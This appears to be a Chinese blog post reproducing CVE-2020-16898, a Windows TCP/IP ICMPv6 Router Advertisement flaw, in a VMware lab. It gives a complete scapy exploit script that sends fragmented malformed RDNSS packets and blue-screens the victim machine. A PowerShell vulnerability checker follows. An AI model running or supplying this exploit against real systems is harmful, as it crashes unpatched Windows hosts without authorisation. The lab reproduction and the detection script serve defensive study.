漏洞复现 - CVE-2020-16898 微软TCP/IP远程执行代码漏洞

  • 时间:
  • 浏览:
  • 来源:互联网

前几天微软更新补丁中有个CVE-2020-16898,下面是摘抄的一段描述,

Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。

漏洞原理不是很懂,主要是记录下复现过程

一、环境

①网络环境开启ipv6支持。这里使用vmware,NAT出一个子网,并开启ipv6支持。

②选取一个受影响版本的windows10镜像,安装在虚拟机里,这里选取的是 1909版本,

并执行ipconfig,查看ipv6地址为

fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103

这里注意,受害机器的ipv6地址选取 “ipv6地址” 或 “临时ipv6地址”

③攻击机是能够和受害机器能够通信的

查看攻击机的ipv6地址,执行ipconfig,这里注意攻击机的ipv6地址选取 “本地链接的ipv6地址”,可以看到是 

fe80::501a:49b7:b7d:5362%12

④攻击机中的python环境是python3.7,安装了scapy依赖

二、payload

从外国大佬的博客里抄了一段payload,这段payload作用是构造特定ipv6数据包,发送给受害者机器,让受害机器蓝屏。

from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6

v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103"
v6_src = "fe80::501a:49b7:b7d:5362%12"

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA()

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
    send(p)

执行这个脚本,可以看到虚拟机被打蓝屏了。如下:

wireshark抓包看下,这些就是脚本发送的数据,

目测红框下的Router Advertisement是最核心的包,

三、检测

在github上找了个powershell脚本,可以检测windows10是否存在这个漏洞,大体看了下是基于版本和配置检测的,用powershell获取配置,如果开启了 基于RA的DNS配置(RFC6106),并且win10发行版本大于1707,就存在这个漏洞。

Function Get-IPv6InterfaceParams($interface)
{
    $Output = netsh int ipv6 sh interfaces interface=$interface
    $windows_version = Check_windows_version
    $release_id = Check_release_id



    $Object = New-Object -Type PSObject
    $Output | Where {$_ -match '^([^:]+):\s*(\S.*)$' } | Foreach {
        [int]$ParseResult = 0
        if ([int]::TryParse($Matches[2], [ref]$ParseResult))
        {
            $Value = $ParseResult
       }
        else
        {
            $Value = $Matches[2]
        }
        $Name = $Matches[1] -replace ' '
        $Object | Add-Member -Type NoteProperty -Name $Name -Value $Value
    }
    $filter = $Object | where '基于RA的DNS配置(RFC6106)' -eq enabled | Select-Object IfLuid,IfIndex,'基于RA的DNS配置(RFC6106)'
    #Write-Output $filter
    $interfs = $filter | Select-Object -ExpandProperty IfIndex
    if ($interfs -and $windows_version -like "*10*" -and $release_id -gt 1707) {
        Write-Host "Windows vulnerable version" $windows_version $release_id -BackgroundColor Red
        Write-Host "Vulnerable interface:" -BackgroundColor Red
        foreach ($interf in $interfs) {
            netsh int ipv6 sh int $interf
        }
    }else {
        "No Vulnerable interfaces"
    }
    
}


Function Check_release_id {
    $output = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name ReleaseId).ReleaseId
    return $output
}

Function Check_windows_version {
    $output = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name ProductName).ProductName
    return $output
}

$up_interfaces = Get-NetAdapter | where status -eq 'up' | Select-Object -ExpandProperty ifIndex

foreach ($interface in $up_interfaces) {
    Get-IPv6InterfaceParams($interface)    
}

 

四、参考

http://blog.pi3.com.pl/?p=780

https://github.com/CPO-EH/CVE-2020-16898_Checker

https://zhuanlan.zhihu.com/p/265755647

本文链接http://element-ui.cn/article/show-218945.aspx